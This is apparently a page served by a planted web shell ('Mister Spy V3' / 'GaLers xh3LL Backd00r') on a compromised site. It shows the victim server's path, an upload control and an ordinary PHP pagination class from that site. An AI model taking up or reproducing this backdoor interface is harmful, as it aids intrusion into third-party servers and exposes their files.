Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.page.php

<?php

class Page
{
	public $Current;
	public $Size;
	public $CurrentSection;
	public $SizeSection;
	
	public function __construct($Current = NULL, $Size = NULL, $CurrentSection = NULL, $SizeSection = NULL)
	{
		if ($Current == NULL)
			$this->Current = 1;
		else
			$this->Current = $Current;
	
		if ($Size == NULL)
			$this->Size = 20; // Cantidad de filas
		else
			$this->Size = $Size;

		if ($CurrentSection == NULL)
			$this->CurrentSection = 1;
		else
			$this->CurrentSection = $CurrentSection;

		if ($SizeSection == NULL)
			$this->SizeSection = 5;
		else
			$this->SizeSection = $SizeSection;
	}
}


class Section
{
	public $Current;
	public $Size;
	
	public function __construct($Current = NULL, $Size = NULL)
	{
		if ($Current == NULL)
			$this->Current = 0;
		else
			$this->Current = $Current;
	
		if ($Size == NULL)
			$this->Size = 4;
		else
			$this->Size = $Size;
	}
}


abstract class Pageable
{
	static function ParsePage(Page $oPage)
	{
		$sql = '';

		if (isset($oPage->Current))
			$sql.= " LIMIT " . DB::Number(($oPage->Current -1 ) * $oPage->Size);

		if ($oPage->Current <= 0)
			$oPage->Current = 1;
			
		if (isset($oPage->Size))
			$sql.= ", " . DB::Number($oPage->Size);
				
		return $sql;
	}
	
	static function PrintPaginator($oPage, $CountPages, $CountRows = NULL)
	{
		$str 			= '';
		$PagePrevious	= $oPage->Current - 1;
		$PageNext		= $oPage->Current + 1;

		if ($PagePrevious <= 1)
			$PagePrevious = 1;
		
		// No muestro el paginado
		if ( $CountPages > 1 ) 
		{			
			if ($PageNext >= $CountPages)
			{
				$PageNext = $CountPages;
			}
			
			$CurrentSection 	= ceil($oPage->Current / $oPage->SizeSection)-1;
			$CountSections 		= ceil($CountPages / $oPage->SizeSection);
			$Page 				= $oPage->Current;
			
			$str = "<span class='PaginadorPaginas'>P&aacute;ginas </span>";
			
			// No muestro las flechas anterior y primero
			if ( $Page != 1 ) 
			{				
				$str.= "<a href='javascript: SetPage(1);' class='PaginadorLinks'>&lt;&lt;</a>&nbsp;&nbsp;";
				$str.= "<a href='javascript: SetPage(" . $PagePrevious . ");' class='PaginadorLinks'>Anterior</a>&nbsp;&nbsp;";
			}

			$Page = ($CurrentSection % $oPage->Current * $oPage->SizeSection ) +1;

			for ($i=0; $i<$oPage->SizeSection; $i++)
			{
				if ($Page != 0 && $Page <= $CountPages)
				{
					if ($Page != $oPage->Current)
					{
						if ( $Page <= $CountPages )
						{
							$str.= "<a href='javascript: SetPage(" . $Page . ");' class='PaginadorLinks'>" . $Page . "</a>&nbsp;&nbsp;";
						}
					}
					else
					{
						$str.= "<b>" . $Page . "</b>&nbsp;&nbsp;";
					}		
				}
				
				$Page ++;
			}

			// No muestro las flechas anterior y primero
			if ( $oPage->Current != $CountPages && $CountPages != "" ) 
			{ 
				$str.= "<a href='javascript: SetPage(" . $PageNext . ");' class='PaginadorLinks'>Siguiente</a>&nbsp;&nbsp;";
				$str.= "<a href='javascript: SetPage(" . $CountPages . ");' class='PaginadorLinks'>&gt;&gt;</a>&nbsp;&nbsp;";
			}
			
			//$str.= " - Total: " . $CountPages ;
		}
		elseif ($CountPages == 1)
		{
			$str = "<span class='PaginadorPaginas'>P&aacute;gina 1</span>";
		}
		
		if ($CountRows != NULL)
			$str.= "<span class='PaginadorPaginas'> - Total registros " . $CountRows . "</span>";
		
		return $str;
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat